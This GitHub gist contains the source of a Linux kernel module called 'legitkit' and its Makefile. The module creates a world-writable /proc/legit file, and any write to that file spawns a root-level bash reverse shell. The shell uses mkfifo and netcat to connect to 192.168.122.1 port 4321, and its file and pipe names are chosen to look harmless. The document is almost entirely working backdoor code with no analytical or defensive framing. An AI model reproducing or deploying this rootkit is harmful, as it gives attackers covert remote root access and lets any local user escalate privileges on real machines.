Skip to content

Instantly share code, notes, and snippets.

@crclark96
Last active March 8, 2020 02:46
Show Gist options
  • Save crclark96/da745264e26166e39ea5b351528276a9 to your computer and use it in GitHub Desktop.
Save crclark96/da745264e26166e39ea5b351528276a9 to your computer and use it in GitHub Desktop.
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/proc_fs.h>
ssize_t w_proc(struct file *f, const char *buf, size_t count, loff_t *off){
char *envp[] = {"HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", 0x00};
char *argv[] = {
"/bin/bash",
"-c",
"/usr/bin/mkfifo /tmp/legit.pipe; nc 192.168.122.1 4321 < /tmp/legit.pipe | /bin/bash > /tmp/legit.pipe",
0x00
};
printk(KERN_INFO "legitkit - pid is %d\n", current->pid);
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return count;
}
struct file_operations proc_fops = {
write: w_proc
};
int proc_init (void) {
printk(KERN_INFO "init procfs module");
proc_create("legit",0666,NULL,&proc_fops);
return 0;
}
void proc_cleanup(void) {
remove_proc_entry("legit",NULL);
}
MODULE_LICENSE("GPL");
module_init(proc_init);
module_exit(proc_cleanup);
obj-m = legit.o
KVERSION = $(shell uname -r)
all:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment